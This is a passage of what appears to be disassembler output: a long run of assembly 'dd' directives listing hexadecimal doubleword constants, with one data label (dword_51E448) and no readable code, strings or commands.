0EA540090h dd 0FF718EB4h, 290AAAFh, 188287A8h, 0BB1130EBh, 0E29D188Ch dd 30955400h, 0C308F312h, 3E19FA9Eh, 6E01C7C6h, 29ACFA1Eh dd 938847B0h, 38A69618h dd 6189A01Bh, 2A180140h, 0F86D321Fh, 0A0F9855Ah, 0CC4331A7h dd 18522354h, 99248E39h, 56008DFDh, 0CFC655Ah, 489CF0F5h dd 5D00B71Ah, 50C3D97Ch, 0B33E3A9Dh, 3301D841h, 0F0877163h dd 75E1556Fh, 92719B6h, 805008DDh, 6F8CCE71h, 34AD162h dd 0E4BEBF86h, 0F100E235h, 0F74645B3h, 2A9C7902h, 42C2B9Dh dd 0E1696F9Fh, 204D6216h, 136F88CAh, 0E049CE00h, 5E14960Eh dd 299205E3h, 0AE73C098h, 42640280h, 0C01B9844h, 90D067C1h dd 0F6018CCAh, 1B636FDBh, 4CD186E3h, 19675880h, 0F069CAC8h dd 0A1802205h, 0E408B48Ch, 30C5C089h, 8468B61h, 0F2211E30h dd 8FEA308Eh, 1586CD0Bh, 81FE002Bh, 293B17DBh, 485044h dd 0F68ECA9Eh, 448687CBh, 0B61CDB76h, 9A8027CFh, 89A5B55Dh dd 686062A4h, 98A2FE84h, 0A9609F67h, 0CB28426Ch, 58F3D4ADh dd 6F04A5A8h, 96A6E17Bh, 0A0205532h, 3F6F8Eh, 6E1132BBh dd 0A109D7BFh, 8A0C454Ch, 69C0808Dh, 218CA531h, 309577E8h dd 934E1DECh, 62057887h, 712427F0h, 0B4720021h, 9B19C945h dd 0A4013B8Dh, 0EAA661D4h, 0A98062C3h, 10E39F6h, 307FC17h dd 115210D9h, 15CB9790h, 73F912B2h, 536040ACh, 298B2351h dd 9E027F06h, 60084F01h, 80D92165h, 1A01DE23h, 94BDA3E3h dd 0ED449C5h, 3B73CDh, 77FBB4A0h, 44270B81h, 57D39C06h dd 3D414718h, 0C9816366h, 74655636h, 71188099h, 4919D6F0h dd 95B22901h, 23550148h, 185F2987h, 64F58850h, 69A5230Eh dd 0FF3A083h, 62EF9CE7h, 0D8E21B5h, 76E2B0A0h, 4C60A13Eh dd 0E6CEEF80h, 0E7D90264h, 0B42B606Ch, 5003B4A9h, 0D6839482h dd 376A3DD8h, 0E36239h, 4304F9F8h, 789676CDh, 6071E663h dd 0BEFA38B2h, 1D004274h, 6BF2BB77h, 3178B8h, 3A6307E6h dd 0DFD93E2Ah, 2FC0539h, 8E51928Bh, 0FEC084CEh, 0C4236860h dd 448C2977h, 0F0C0C652h, 18CE3A3Eh, 0BE0926CAh, 0B22A0AB1h dd 1C42060h, 7160A039h, 89896422h, 20539818h, 0C88B0A4Ch dd 20BF00E8h, 0A59444F5h, 38005726h, 6D0E1504h, 778D48D2h dd 7947248Fh, 0CAA5C0ACh, 9346F689h, 0E721F837h, 65D0209Dh dd 0F990F43Bh, 1F992F61h, 0EFFC9093h, 3C5F0068h, 439A4148h dd 4B00B4CAh, 0C9EE1330h, 9FC353Eh, 0AA7E1B89h, 0AEC5C882h dd 2FA6A30Fh, 97B28198h, 87B9858h, 4F29B923h, 7300D1CFh dd 0BFDF2362h, 87029893h, 71863A2Bh, 0F6D46419h, 9492BBh dd 0F8BFF027h, 4E54E8A3h, 0DB8AF202h, 69860984h, 0C60F008h dd 0DC9C4DF4h, 420069ECh, 4191FF55h, 1EE2159h, 9A52184Dh dd 2486D9FEh, 0CC930144h, 0C7CB70h, 0EF2559E0h, 3051F278h dd 81449832h, 0E408C541h, 32406050h, 67850030h, 7EA0F981h dd 1D35740Eh, 602FA9ABh, 0E53F8C7Eh, 3C490062h, 84FE7A0Fh dd 8E372421h, 2463B38h, 0F6EACA9Ah, 12CC7EBh, 24CA92D7h dd 5009F572h, 1C17A6E8h, 476A9500h, 0E3CD9E03h, 36B41FFDh dd 899D1A9Ch, 0D14F3447h, 7E8BE180h, 9C008916h, 681B3C13h dd 5851E372h, 9B348CF0h, 6390C2B9h, 35CA9F30h, 2CC0F68Fh dd 0F70EB09Ch, 201FB8C9h, 0F075DC61h, 17DF1DDBh, 0D826403Dh dd 91C19CCAh, 1D7FB200h, 0F1CF0824h, 902A00D9h, 0AD925D84h dd 60099C8h, 3672F626h, 96A4E5h, 51B6F83Dh, 462CDC50h dd 3FFEE600h, 48ADD899h, 0C83D3E9Ah, 77F52B00h, 1843B0D3h dd 0D80749FAh, 5CC7202h, 0EB6ECD80h, 8C41C031h, 143F8A78h dd 56D44E03h, 88E0136Ch, 10D18Dh, 9FB0903Eh, 754C24B4h dd 0B2E6191Eh, 2C356E80h, 3D87216Bh, 3C83AB86h, 32B8EAE0h dd 0C19A63B0h, 57893A00h, 150D7BDDh, 1CB3001Fh, 0CF995369h dd 0E100086Bh, 0E36F6104h, 403AC9Dh, 0B5185B85h, 0E886EACAh dd 0A81F2EC1h, 0CECF0063h, 4BD00CC1h, 377673Fh, 5E108188h dd 0CBC0AD2Fh, 24519105h, 1F7ACA5Bh, 3C314047h, 9C87823Dh dd 81CCC0CCh, 10160345h, 0AFC4FC2Dh, 0AE3841C8h, 6B609BFEh dd 0C6DCC740h, 1BEF2AAh, 0DFB71779h, 0E844AE93h, 4B28AF24h dd 463B80DAh, 588280FCh, 0F7153EE4h, 0F3480A45h, 0A0FB66h dd 3CA7C0B0h, 4CE2C89Fh, 21E4E104h, 570798AEh, 9300FF83h dd 786AD1B7h, 1300F4E6h, 0E5A14222h, 0CF16944Bh, 72408880h dd 58492114h, 52FF4300h, 5199FC23h, 8C6C0AA5h, 0C080FB65h dd 315D47B7h, 808662B0h, 3B2EE644h, 4980104Ah, 2212955h dd 36C0D74Dh, 34AF17D8h, 1D9500EFh, 0D185AD54h, 6A000788h dd 0A08AC88Ch, 1F8D4CF7h, 40162FCBh, 93C276E0h, 0B777F632h dd 40674E30h, 3094F08h, 8274B3A7h, 0C8A87D42h, 1B0BED72h dd 0FF198EE4h, 31BA2400h, 0AA04344Fh, 7345F8E1h, 188D7BD0h dd 26840229h, 408F0E27h, 24D30868h, 1D313F00h, 7D985F3Ch dd 0BFD90541h, 82A668A7h, 7C30FA28h, 29A00823h, 8B6203C7h dd 7FE200B4h, 36009D23h, 0E456EABEh, 4CCFFE32h, 26BC2815h dd 0FE00B243h, 9917F6A0h, 59016B37h, 0F902FA3h, 7089EA66h dd 0B86EAEE7h, 308C3C41h, 0D371856Ch, 0D8082200h, 2BC0A9B0h dd 7E280005h, 7A1C8164h, 0FC96F08Eh, 6E0A4EC4h, 4F4C7020h dd 93CC908Ch, 0E9FF5868h, 20BCB48h, 0D1A37C46h, 703853E3h dd 0A30FE4F3h, 60159159h, 0F9B17EC2h, 0D8690001h, 14928E1Ah dd 6B07C59Ch, 9624A166h, 4339518h, 725998F8h, 31E60488h dd 0BCC1E8F8h, 5039A834h, 0A2243800h, 2ADADD40h, 57EDF813h dd 21E2C800h, 29663EAh, 48E330D9h, 34528288h, 0BC097C06h dd 9650D43Eh, 8722E278h, 0C272DA22h, 0F5C80798h, 809D28C2h dd 0BAF478E4h, 671F0501h, 0C5B49B20h, 0C87CD598h, 0DC609868h dd 8F31F0C1h, 189960F4h, 0F2EFABC1h, 93250B01h, 27675DB4h dd 40637048h, 0CF3CDA6Fh, 82F29EB8h, 75223386h, 640720E8h dd 53FF3800h, 2F9D448Eh, 71603CB3h, 5662690h, 0A274279Eh dd 4B8E4C60h, 6C5D481Ch, 0A8A39B05h, 92BC419Dh, 810A8F30h dd 0F0177C41h, 0CBE822h, 91E38CA8h, 736480A8h, 68440B5Dh dd 505D0438h, 8092F5Dh, 406A8E01h, 0F2FDAB7Ch, 2BE9Dh dd 0E8AC31FFh, 490E286h, 6E5B8E00h, 4CAB306Bh, 0C6F8A036h dd 0B14A0E7h, 6FC788CAh, 88354988h, 0CC89FC3Bh, 66325C2h dd 79211E28h, 9311AF42h, 0F04F22E4h, 0BAD4003Ch, 67D579AAh dd 210037F3h, 0EC4F3463h, 488F02h, 460BA16Fh, 0F5F48E52h dd 87358D3Bh, 8CC0866Bh, 9E12CCD1h, 90F0F6C0h, 6EC30095h dd 39CFA7D7h, 0D93DBD64h, 79D1816Dh, 0B184A389h, 9F7E03Ah dd 0E29A4400h, 0F0158352h, 0F637ED0h, 6B3DA206h, 86BF34E0h dd 0C2728F7Ah, 0F4E5Ch, 8EDED40Fh, 0E8CF09B9h, 624200B0h dd 476B4CEAh, 9E01A5F2h, 0F5D7B1B4h, 83FC292Fh, 7BC21889h dd 34FC78FAh, 0A5E97800h, 2EF4F96Bh, 30B06143h, 0FCAC2240h dd 0B201E775h, 6A85C807h, 24DC4E83h, 7F5503B5h, 0AD0967BEh dd 0FA17E3A8h, 66AAE51Fh, 1DFD8600h, 3A13A470h, 7D094CE4h dd 0CCC0B3F5h, 0FC003FEDh, 0E96BDCE5h, 265DD4h, 815F6A9Fh dd 36D887A1h, 0C8F85804h, 10AC033Fh, 4355AA1Eh, 0ADA7C69Bh dd 0B5157600h, 6A0BCDE1h, 745104D9h, 80E05861h, 3E2EBDE4h dd 47F98701h, 0B231D50Bh, 72DB60h, 0E7A424DEh, 2169DAE2h dd 0C4947407h, 91F0688Fh, 8956FAh, 96C920A7h, 64E6D59Dh dd 7CB3B02h, 83B66294h, 0E01C24E4h, 0BE61C4h, 29D7805h dd 8E85B3E9h, 6F160307h dword_51E448 dd 0DBF0434Ah, 0EEE67E4h, 5D94526h, 987FF6C0h, 56000462h dd 4D952CB8h, 3202D66h, 362BED37h, 0E807A71h, 0FCF08D98h dd 1457FE00h, 8425A3E1h, 38D200A7h, 73A90277h, 83007F35h dd 4AA1B85Ch, 489021CDh, 0E700A5BDh, 0CBF92EFEh, 0AD28963Eh dd 3D00BCAEh, 75C036D3h, 1D9873h, 0D87680F7h, 71EE2D93h dd 0A7C16E01h, 2ABD0F2Ch, 4251ECh, 0E987B0C9h, 946ED243h dd 0E0A32700h, 67DA31F6h, 8A530019h, 45EF400Ch, 0AD002BF3h dd 0F6C952B1h, 0A0897AAFh, 72599BEh, 0E1A235CFh, 5300FEC0h dd 2A9207CAh, 0BD797600h, 0DB4D9034h, 6ABF3C1Eh, 7AB4F18Ah dd 3B5500A4h, 0A28D9203h, 12CCC48h, 0ABC45DF6h, 0E443FF57h dd 984A8861h, 4A60B79h, 402F1549h, 7780F1CFh, 0CF4CFE26h dd 0E60EDBEAh, 2090753Fh, 1D6198B9h, 0EE2E5C68h, 626EA400h dd 4E6B659Fh, 0AD324109h, 8E840FFDh, 0A5EEE0F6h, 3FA9839h dd 8BF7E19Fh, 2000A90Ch, 66EA8F4Ah, 1D4E042h, 40C6A60Bh dd 0F86DE8BDh, 2328E57Eh, 5500A554h, 78FF1415h, 1C2986Ch dd 0D7608501h, 0F85A9064h, 2AB8C6E1h, 0F0E35002h, 0E085697Ah dd 7602645h, 3F6F43DEh, 226B00B7h, 7006797h, 57B5F22Bh dd 995BF1h, 0C955862h, 825903ACh, 0E90F0B01h, 61A58522h dd 9924CDCh, 799DF906h, 0B5451880h, 8905CEB1h, 488752BFh dd 41359C03h, 8E5599A3h, 34914C8h, 454DB66Ah, 64A03D04h dd 8A0008BFh, 0AB723E1Fh, 0E192A20h, 0CA2401Bh, 94E0BAA9h dd 0A03B1F58h, 99100049h, 2B5D13CFh, 0AE5AC75Ch, 0FE93D031h dd 5900940Bh, 85E8A3EAh, 0ACCAF4h, 0E9383532h, 137724D7h dd 6E9E1D50h, 2A3C967Eh, 9948EEh, 0F752B8D3h, 2485069Bh dd 80B862C2h, 0CAAC3D19h, 3C1DDF42h, 5E00738Dh, 0C2573F41h dd 0BD3900E4h, 85ECE104h, 6C1860EFh, 12A0CD63h, 78720EA9h dd 0A74C61F0h, 840B3E20h, 23913FBFh, 0A0B35008h, 309CFD22h dd 5738C653h, 7003ACD2h, 54353C6Bh, 6379A05Ch, 0F1FD00A8h dd 8E34E32h, 5A1D150Ch, 0C6288478h, 4001037Ah, 60C4CE7Bh dd 72D401EDh, 994A01C1h, 5EDBF9D0h, 0ABAFF0C7h, 2E44071Fh dd 52491F3Ah, 9A3D6180h, 0E497C440h, 0F0D40134h, 0F4884235h dd 4F7C2016h, 7EE52F00h, 63E0FD99h, 2314003Ah, 3F6CB19Ch dd 3100DEC3h, 0DFFE5A12h, 10653D2h, 794380CBh, 0F0A68FE1h dd 1B030945h, 9EB750D7h, 0F8BEC398h, 5A9FA33Bh, 0E79402A9h dd 0AF41846Dh, 400424ACh, 0C7BA7F07h, 97D791EBh, 0AD7BBD70h dd 5DE1C25h, 0A69A001Eh, 9D25DBAh, 0F41DCD01h, 39C6CB7h dd 25EC9ECh, 0D1EF7F95h, 14C4F225h, 51A03A1Eh, 0CCEAF87h dd 0FF6C9C70h, 0E4CD00A7h, 2F62CBFCh, 0AF148017h, 1430997Fh dd 0A87E30h, 59D78BA5h, 94B141h, 6D83624h, 0AFC07F93h dd 6DD67E07h, 3863BA43h, 29B8D0BEh, 1DC05B9h, 0C0659792h dd 0C8CBE05Ch, 0FEC2E00h, 87FABD9h, 0B0773825h, 0A4D60504h dd 17BB805Ch, 32005A2Bh, 0DE11A67Fh, 0D9FCC2h, 4DE69884h dd 0F9F71A13h, 0C3BC740Bh, 0FB0C8087h, 0DBADDDh, 11F5F26Ah dd 0E4B879B5h, 20904Dh, 331D381Fh, 2E6275E8h, 8028C2A2h dd 63F7F50Fh, 4B022F13h, 356B2E96h, 54C86003h, 0D0B30049h dd 2290E075h, 0C4181E7Bh, 63211829h, 6DFC1C62h, 4FA0829Ch dd 8050712Ch, 0C00B0AF4h, 83873DB5h, 0E1FE9A10h, 0E8FC19BBh dd 58D200CFh, 6B4A670Dh, 0ED0986A0h, 8826BF37h, 3103A49Ch dd 64F74Dh, 52031320h, 1DC10FB5h, 981B7612h, 0F15B0C80h dd 6CB617h, 0E2627318h, 0F248F0ACh, 723B00B8h, 36D9DC9Fh dd 609000D4h, 0AF86C481h, 9A052C2Dh, 7F0874CDh, 188098C5h dd 4955A035h, 8C0C88B5h, 0FBE064DBh, 0BE006CB8h, 0F9E59D27h dd 2D7BF86h, 0EF94B0D2h, 0C0FFFE0Ah, 0CFE96Ch, 393213DCh dd 4B996017h, 8F004190h, 827E9420h, 0CFE574h, 767B062Bh dd 107AD1Ah, 0D2C4D801h, 0D691C99Ch, 3FE4C4h, 0FEE37438h dd 59483113h, 8F2BB402h, 0C0721780h, 0BE8914h, 0AC97DF5Dh dd 1EBDCD21h, 9CF1AF02h, 8EAD8EA9h, 0CAD6A090h, 9753226Ch dd 0FF013BF8h, 99A66439h, 8CCCBF1Ah, 0B5FA007Ch, 243FC449h dd 1500A3B9h, 191C5AB4h, 0EEF00Ah, 0CC02EBBDh, 7F11FA66h dd 332CFCA0h, 7C073FFAh, 0E0D13428h, 0AF936921h, 14AA5030h dd 0A0CAA515h, 8100B424h, 0F28668E7h, 72A6DC2Dh, 32EFE303h dd 0F0AB536Dh, 483F019Ah, 3D3FE634h, 9273A92h, 60800B24h dd 17B887D1h, 28795E00h, 0F1193E30h, 0BB490353h, 41507156h dd 82C892E0h, 9AAFE10Ah, 0D00B20Bh, 0EBC1E991h, 0F6E30413h dd 8162AB3Dh, 6A4DEFD8h, 3461F780h, 0E7953CBAh, 0D89C5A1Eh dd 60CB08Ch, 0A28FAE01h, 0BBE0654Eh, 0F923E0h, 8137C46Dh dd 58895101h, 82491B01h, 324B7A39h, 768D260h, 0E420295Fh dd 80416510h, 5A7EA662h, 83658004h, 60A0C0FBh, 930086D3h dd 60987C36h, 0F9E806h, 0F40CEF6Ch, 0FD66BAB0h, 7893C03h dd 80A56E3Dh, 5A2148h, 8ADF7091h, 18FAE3CDh, 6136E801h dd 68AE29EBh, 0D8673301h, 0ABF8201Fh, 0F3D1DC00h, 35E05078h dd 0D42F0006h, 7616CC42h, 70066F9h, 8D7E8267h, 591862Dh dd 0D9EBD127h, 0B798C113h, 4128F8C8h, 1E2D11D4h, 9C809A59h dd 4561421Dh, 0B49800B8h, 381BAFBDh, 135E5564h, 0E47CDC03h dd 0C02E07AAh, 8066D523h, 0C9DAA660h, 0E37FC203h, 9E2DB26Fh dd 781700C0h, 0CEFCB71Bh, 1E00D608h, 0D4E5413Eh, 26CB8DEFh dd 0DB94CCh, 7D40A21Fh, 2004429Bh, 9577737Bh, 0F01554C3h dd 9EB2D8h, 2A01ACC6h, 0A73EF869h, 0BCD72900h, 0DE57612Fh dd 0D29500A0h, 0E8CB9663h, 39380E60h, 0F6AD00E3h, 0DC1E9F79h dd 0EA18C0A7h, 7B4821F4h, 2390DA00h, 3AB65082h, 1AB900C7h dd 0F371892Eh, 6D51D129h, 0F07E31F9h, 57009005h, 1FFF6BDh dd 3C3A7FFDh, 91005E5Fh, 71F4B0B4h, 89002543h, 615DE935h dd 780982h, 8F702360h, 0A6A79224h, 0C00DCB1Dh, 4C1A39C0h dd 3BE285Dh, 8905F29Dh, 80F48DD3h, 0D6366A54h, 0B1F9241Eh dd 0B77754h, 512D4521h, 0CE64D2h, 8403FEB2h, 397125DAh dd 24A2FC00h, 0D53AAD1Ch, 0B2C0090h, 0B9D1C930h, 70E09407h dd 9A3FA500h, 315CADF4h, 818C00DCh, 0CEA86B6Fh, 3D009EFFh dd 2A18DB26h, 5F1BA3h, 89B8EE19h, 95E64356h, 54E3CE0Fh dd 580E9D4Ch, 0EB4940F6h, 0FD634AAh, 5DAD660Dh, 0B800B7EBh dd 80E222FEh, 0D5E44E00h, 2BED9B33h, 0B9BF0788h, 0C07FC6A5h dd 0A48F203h, 7DCE9F1Eh, 0FC944B40h, 54E883h, 2F6C67ACh dd 843847Eh, 1560E00h, 0CF74A0F8h, 0B4E60B15h, 0AC80FA46h dd 98764EF7h, 2700B9E8h, 8640B37Eh, 1C4B2EE9h, 1C52D9C6h dd 0C0B24031h, 0EBD53D3h, 0A0AF19C0h, 0C5415h, 453003A4h dd 47DCD6D1h, 86E21E18h, 3B10A871h, 0D7807D3Fh, 2DB02C6Eh dd 0F700AB32h, 3BC9D23Ch, 0A0C57FAAh, 0C0EA71E6h, 24E72C82h dd 809E8879h, 0E033B712h, 0F51BD3E8h, 3231C0AFh, 100F2671h dd 605DF115h, 51EDE1BFh, 0A08A0074h, 0ADD483D2h, 13EC38D8h dd 8047C725h, 4AE78168h, 25F01E26h, 536E405Ch, 4F0AD74Eh dd 35E2B400h, 0C41A9ED1h, 9AB126E7h, 3DCE83E0h, 0FB98BDDEh dd 0F2016846h, 0BFD37033h, 0E82076C0h, 30F1586Bh, 8C5F6C80h dd 9E2C9F56h, 2C006C99h, 0C75D3C2Ah, 1D394EDDh, 2EF980D4h dd 6D1E54A2h, 36AED300h dd 99B4427Dh, 0FE6600A9h, 3A16ABE5h, 15000A88h, 63E1261Bh dd 18BF18Eh, 5BD26717h, 57230298h, 5C28BCF4h, 0B50C9C00h dd 92DB62A6h, 0B9AB0F84h, 0CEE0E9A1h, 49A01069h, 21DC2A00h dd 617320D8h, 40C0067h, 317AD984h, 0E3001624h, 0C9EBB72Bh dd 55C831Eh, 1B99AACEh, 0C538D177h, 1DABC8D0h, 107B3200h dd 0F846FAD9h, 0F9490312h, 0B57C3464h, 2069AEF1h, 0BA3CD1B4h dd 571000DBh, 10BE956h, 21E30737h, 571FB06Fh, 13CE7169h dd 352CCCADh, 808B5500h, 6496BF84h, 4B8F09E1h, 814ACC0h dd 0AF88A205h, 0F802D1D2h, 0C03BAAD0h, 13292260h, 0C016601Ch dd 0ACB4674h, 64511218h, 48D58F10h, 0F107F02Eh, 0C0DA4C2Ah dd 6EA983D8h, 99C7BB1Dh, 680B28E4h, 7C586039h, 0D5BD0BB7h dd 3840A75Bh, 2600A220h, 0DBFF8271h, 5C7262B3h, 46000878h dd 0D6430F4Bh, 0F03B17DAh, 0F8A389B1h, 4684FF8Ch, 0D9E0C8CEh dd 79001CFCh, 0CFFC47C5h, 0E423E3h, 97D716B0h, 0C11017C7h dd 25E6A86Fh, 4080B258h, 0FC66E3h, 0E6C9A306h, 7F7B4297h dd 0AA206000h, 43D9A531h, 16F418h, 0D84B66DAh, 1193EB50h dd 0FF49987Bh, 883801B0h, 8529B19Fh, 18B830h, 73DFF8A1h dd 7B7ED799h, 0ECBBD61Dh, 51E1080h, 0A89F3Fh, 3274F166h dd 0EEF970ADh, 0ACB24E00h, 0ABAFDC10h, 0D76E00A0h, 0B1609B53h dd 4501BF5Ah, 0E44FF911h, 0C20355Dh, 4D6A0071h, 208A29DDh dd 3E5856FBh, 16E9011Ch, 0B665DC85h, 7D0730h, 0C9218FA5h dd 45F722B0h, 0A71739h, 14EB4F4h, 7D83707h, 0C843DE1Fh dd 6A232379h, 0A63EFEB8h, 0F18A9700h, 0D0CEAA08h, 0DD530EEAh dd 0E660AB48h, 9F448C86h, 0D521D607h, 5520B074h, 1BF8F5h dd 0C22A4025h, 72FD5762h, 0E4BFA900h, 6A991C52h, 9670009Dh dd 8E6D1F5Ch, 5600CCC5h, 8BF6534h, 0B6475BE1h, 292A00DCh dd 6B8F9503h, 0E6DA1000h, 0EBA01A85h, 0F5718Bh, 33ED1F6Ch dd 59E24A0Dh, 5524D709h, 0B8F300B5h, 0B75477h, 4C0152D5h dd 0A9223168h, 0C6E8EB00h, 7CDF1BD1h, 823D0010h, 65EF85D9h dd 7513FBF3h, 6B005732h, 2A02B30Eh, 82F60995h, 4522559h dd 288A1B07h, 69D077F8h, 587E0444h, 0CA078CC3h, 0C378C949h dd 83E7CD2Fh, 1131A2E4h, 0A822035h, 55E0FFE5h, 1C38F404h dd 5F6B1363h, 0A100FA61h, 0A0ADF89Eh, 0B9034A0Ah, 1F09316Ah dd 80DBA843h, 9D7D00B1h, 59EC2B3h, 9C0046C3h, 0F9EAFFA5h dd 6CC5C7ACh, 0E5806164h, 0FC0F290Eh, 0FD6720BEh, 61D69048h dd 0A82231A4h, 0CC64424Bh, 821E6D07h, 80BC6B60h, 56AE7A14h dd 5288002Eh, 8D469751h, 604CE15Dh, 0E06F0376h, 0E8321F69h dd 0BD990B6h, 8616489Eh, 0EAA52980h, 0C706C117h, 43BE7CB5h dd 4A640071h, 8B38BB3Eh, 0B8E633B3h, 0DDE15100h, 8CD849CBh dd 0D9D001DAh, 0A3D7BA6Bh, 998898E9h, 1C7790h, 5DD0D2F4h dd 0A7689612h, 592EE100h, 50E3CADBh, 42CF0677h, 30725A6Bh dd 8725F100h, 0DA2D65AEh, 18450023h, 41F67D02h, 0C30011B9h dd 4E324B6Dh, 0F954603Bh, 67AA6880h, 332BA2D4h, 92F09300h dd 9C5C0CEh, 0D4901ECh, 97786E0Bh, 59F1209Dh, 0FBF0EA02h dd 80EF7B12h, 45580A74h, 5A6201CBh, 4937A13Bh, 805DDDC6h dd 0C2B56578h, 7CE843h, 0C85239FCh, 63EA8EA4h, 0E7781700h dd 0F588F94Bh, 0FA88A00Ah, 48F80037h, 90EFAE83h, 230021A7h dd 1FEB9613h, 7C9A4B58h, 0E04A01B8h, 2FC35CF9h, 5FAC607Ch dd 77587EDDh, 0A0B320h, 0C3235EA5h, 0B652983Dh, 7B731000h dd 0F6A87C29h, 0A7F0C47h, 0C9285AC4h, 0EEA7F706h, 80117662h dd 7E277B8h, 0E60AC2FBh, 0B081CC3h, 0D58121C0h, 125CA3h dd 4F2226F0h, 5ACFDBB3h, 21331018h, 0C49BF98h, 3266EA38h dd 0E2005269h, 6C4E8199h, 3D1E0976h, 58082EEh, 0C40D80A8h dd 597804A0h, 10B37430h, 60F1705Dh, 0C7AD501Ch, 0E500DFD3h dd 7EA541CAh, 0E0402ACh, 81169439h, 82FE8481h, 0D02181D7h dd 0CCE102F4h, 0B2DB840h, 7F15001Eh, 9513CA37h, 5C00EDE5h dd 677E2516h, 3680C62h, 0C314FA79h, 5A8BF85h, 0FC00B6C7h dd 4AC452B9h, 0E226529h, 0D6672401h, 0C64C23E3h, 0CF4BB9E8h dd 88CBDF00h, 9BBB44FAh, 36BD006Dh, 2125A843h, 0FEACC1Ch dd 0B11CB04h, 3180C909h, 8E3312h, 80C4325Ch, 75E115E7h dd 926D0300h, 77090CC1h, 28D36163h, 1E3230h, 80E26883h dd 938943E6h, 3B44A408h, 5328A00Fh, 5CCF8876h, 8835F988h dd 29CA16CBh, 6B1028B8h, 4C2E6584h, 502997h, 647B3F25h dd 0D74EF356h, 769EC500h, 80D1E89Ah, 971A00C0h, 2126B838h dd 3C1E8657h, 0BBCFAF7Fh, 7D2B23A4h, 0A197E06Fh, 18FF0BFh dd 718DAB23h, 20CB290Ch, 0CC006FEFh, 9A2C73A0h, 1D117E3h dd 6D911693h, 0B3DC5ECAh, 0E8872072h, 728C52h, 0FF7EE032h dd 8A9603D3h, 0ADFA86FAh, 959CD400h, 6FBF7355h, 28EB00FDh dd 0F9719813h, 0F1988858h, 62E2180Eh, 820A603Fh, 5F0CEA7h dd 3D417437h, 18A00F61h, 2EF60440h, 67605BE7h, 3DE8BEF0h dd 654C00B4h, 0E01789F4h, 0B000F82h, 1D608C12h, 302445Fh dd 0C7203FF8h, 3590D98Bh, 0AEFC8A32h, 0C0B46000h, 792D400Bh dd 517500B6h, 90B08FD1h, 1E1DC26Eh, 18004D96h, 0DCFFA9CDh dd 9F11D26h, 17BC80F3h, 8453CE3Dh, 11DD0801h, 0CAB33B81h dd 83FC3021h, 26EC03F7h, 0D1F1D37Bh, 35D80EF8h, 89019B00h dd 8E8F7431h, 1ECB00A2h, 76B1CD7h, 0C8006F0Fh, 94136159h dd 7A5E0Ch, 0D09D7455h, 0BB960D6Bh, 0B1FC7B00h, 0C2DE50FBh dd 91C30019h, 8A830C35h, 0B400CDD1h, 0E05C2F71h, 78D7C1h dd 0DCE62342h, 0FCA9F622h, 5F145300h, 8F3CDF6Fh, 58EB00DAh dd 46678972h, 1C009F26h, 0FC34DEACh, 0C0F5B090h, 445B0AE8h dd 1E002053h, 34069428h, 0A3230Bh, 0AA2EA1F4h, 72243E80h dd 0E2827600h, 0EFF15D1Ch, 6F8B0235h, 634E754Bh, 0BDABE4E0h dd 867B251Eh, 0E657EB02h, 4ED88053h, 172F2F4h, 7C7E0981h dd 0F84BEE93h, 0DB0180D4h, 0AD87B002h, 7A8147E1h, 0E3B71373h dd 5F2FD0C4h, 3258150Ah, 180C980Eh, 51A45Ah, 2ED9DE2Bh dd 891FBB0Bh, 111DDFE6h, 0AF80EC38h, 5D17F340h, 0C74BCCh dd 0E15B78F9h, 0E330D13Dh, 2DA42E1Bh, 26620398h, 0A5E6166Ah dd 0C3AB1007h, 5070D5CDh, 103BFDCh, 810531F6h, 20C22355h dd 0B700FE00h, 54102DF7h, 67C9BDh, 0A2AC0CCCh, 0D25934C0h dd 0E88DC501h, 0B44753Fh, 7769F0h, 74AF94FAh, 161746E5h dd 0A8FD9203h, 0D8321139h, 6A5102h, 33787DA1h, 46944E58h dd 0BC950F04h, 6080C9B9h, 0F1FF1Bh, 0C25F3FB5h, 2665F98Bh dd 0D35B7200h, 2199394Bh, 2E79007Eh, 4E610869h, 7DF0537Bh dd 0A8001072h, 6290155Dh, 3FF45E4h, 0A3CB1211h, 2EB0A1ECh dd 0BC0072FDh, 5A800B03h, 9050EF8Fh, 8BA80020h, 52CC77D0h dd 0DCA0A311h, 0E500DE9Dh, 95548EF3h, 43E2A36h, 0D21850BFh dd 9AC1FF5Dh, 32F84FC7h, 3A700929h, 0F5F0FD03h, 8713B800h dd 634BDCB1h, 83AC0075h, 0EA9D4A59h, 0B9F25464h, 35A62A00h dd 248C6851h, 0FB748Bh, 0DC13C0CCh, 0D6F7FA0Eh, 5F67138h dd 0E74F262Fh, 0C5C69000h, 31CAF9Fh, 0DA94A36Ah, 4DC9627Fh dd 7B2080CCh, 7C81DDD9h, 6B5A0010h, 489B2A51h, 3F123A98h dd 8800DFAAh, 6F527B11h, 0F406033Dh, 0E9D2ABB4h, 0DEB071E3h dd 57000E1Ah, 0C88CB87Ch dd 1F73DDA9h, 0C2B639E5h, 0F9601D6Eh, 0F8E28061h, 771DCAA0h dd 0DFC0FC43h, 9514C375h, 0A3BA0015h, 5802D4B1h, 0B30092CBh dd 94663A35h, 2FA482h, 1CE446DCh, 2E0362F5h, 0AF4BC800h dd 9CDBFB12h, 0C5BD008Ah, 311E681Fh, 0AECAD3Ch, 0FB60203h dd 0A59C8C2Fh, 8F8666C1h, 459BDBh, 9885B780h, 0DD063FFEh dd 0DA68CF00h, 7A82920Eh, 1F5700BEh, 88E480DFh, 7900C7EFh dd 47876EE6h, 0EF4E3CCh, 0FB502268h, 36443C0h, 3D0075A3h dd 0AE53CA3Eh, 1E8EDD36h, 0C722DF69h, 0E71A5FA7h, 0C6F96008h dd 4D7F73F7h, 82D9D500h, 0B5AD8807h, 1190095h, 0A4FB8490h dd 0EF07E063h, 0FF660355h, 0BF92C900h, 0ED5718Ah, 0DBCB1046h dd 0D8D27800h, 62C59C2h, 4500932Bh, 55A0298Ah, 0B10207A6h dd 800E0194h, 0AA4F773Eh, 46B23D00h, 0ADDD9E75h, 3B670321h dd 0B549EA83h, 0A8642ED8h, 0E4F80B02h, 8413ABDAh, 8C80F29Ch dd 0F036DF37h, 870500E9h, 39809693h, 0A500823Eh, 9D0CCEDDh dd 704A9CD2h, 10A2046Ah, 0C06DCBFBh, 611E7EC8h, 362F8500h dd 1102482Dh, 90DDE67Ch, 7AEB008Ch, 4D1F612Eh, 4B7CE970h dd 15AE6500h, 0CD85EEB4h, 1B002D1h, 4E1748C9h, 67632460h dd 21860700h, 0BD817BACh, 0C18AB8BBh, 601FED28h, 5BF5F8AAh dd 0E7718A01h, 0F8A2DC83h, 0BE17ECh, 0ECD725F2h, 884C4E11h dd 76C7A600h, 77935BEEh, 0C37CFCh, 5425CE32h, 0FBD1192Ah dd 63A8B200h, 